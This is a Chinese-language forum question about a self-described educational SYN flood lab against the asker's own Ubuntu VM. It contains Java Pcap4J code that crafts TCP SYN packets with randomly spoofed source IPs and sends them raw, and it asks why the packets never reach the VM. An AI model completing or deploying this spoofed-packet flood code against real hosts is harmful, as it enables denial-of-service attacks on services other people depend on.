出于教育目的,我正在尝试对 Ubuntu 18.04 VM 执行 SYN 洪水攻击。我在我的 VM 设置中启用了桥接模式并设置了一个 Web 服务器 (10.0.0.10),我可以在我的主机 pc (10.0.0.3) 上访问,反之亦然。从主机到服务器的 ping 显示服务器上的 Wireshark 流量(请求和响应),从服务器到主机的 ping 也显示服务器上的 Wireshark 流量,但不是主机上的流量,即使 ping 数据包是正确构建的。
我构建攻击的方式是生成随机 IP,构建 TCP SYN 数据包并通过端口 80(打开)从我的主机将其发送到 Web 服务器,这应该发送一个 TCP SYN/ACK 数据包(我使用 iptables 路由它回到我的主机电脑)。
如果我通过 Pcap4J(Java 的 Pcap 库)构建一个 TCP 数据包,然后通过处理程序发送它,我会看到它在主机 Wireshark 上弹出。
但是,如果我检查我的 VM 上的 Wireshark,数据包不会到达。处理程序没有给出错误并且程序正确退出,因此我不确定如何解决这个问题。
数据包在哪里被丢弃,我能做些什么来修复它?我需要数据包到达 Web 服务器 VM(以及服务器将它们发回)。
代码:
Pcaphandle send_handle;
//nif_address is a constant of my ethernet connection defined in the file
try {
PcapNetworkInterface nif = Pcaps.getDevByAddress(nif_address);
if (nif == null) {
System.out.println("Networkinterface is null");
return;
}
// Open the device and get a send_handle
int snapshotLength = 65536; // in bytes
int readTimeout = 50; // in milliseconds
send_handle = nif.openLive(snapshotLength, PcapNetworkInterface.PromiscuousMode.PROMISCUOUS, readTimeout);
} catch (PcapNativeException e) {
System.out.println("Cannot bind NIF to variable from localhost");
e.printStackTrace();
return;
}
//Send packets, e.g. 1 packet by 5 different IPs
for (int i = 0; i < 5; i++) {
//generateIP() function not shown here, but is simply a randomizer and format to IP
InetAddress src_ip = generateIP();
Packet tcpPacket = constructSYNPacket(i, src_ip);
try {
send_handle.sendPacket(tcpPacket);
System.out.println(send_handle.getError());
} catch (PcapNativeException | NotOpenException e) {
e.printStackTrace();
}
}
private Packet constructSYNPacket(int packetNr, InetAddress src_address) {
TcpPacket.Builder tcpBuilder = new TcpPacket.Builder();
tcpBuilder
.syn(true)
.ack(false)
.rst(false)
.psh(false)
.urg(false)
.srcAddr(src_address)
.srcPort(TcpPort.getInstance((short) srcPort))
.dstAddr(dst_address)
.dstPort(TcpPort.getInstance((short) dstPort))
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.sequenceNumber(100000 + (packetNr*50));
IpV4Packet.Builder ipv4Builder = new IpV4Packet.Builder();
ipv4Builder
.srcAddr((Inet4Address)src_address)
.dstAddr((Inet4Address)dst_address)
.dontFragmentFlag(true)
.fragmentOffset((short)0)
.ihl((byte)5)
.correctLengthAtBuild(true)
.correctChecksumAtBuild(true)
.protocol(IpNumber.TCP)
.version(IpVersion.IPV4)
.tos((IpV4Packet.IpV4Tos) () -> (byte)0)
.ttl((byte)100)
.payloadBuilder(tcpBuilder);
EthernetPacket.Builder ethBuilder = new EthernetPacket.Builder();
ethBuilder
.srcAddr(nif_mac)
.dstAddr(dst_mac)
.type(EtherType.IPV4)
.payloadBuilder(ipv4Builder)
.paddingAtBuild(true);
Packet p = ethBuilder.build();
注意:我已经在 Ubuntu sysctl 中禁用了 SYN cookie。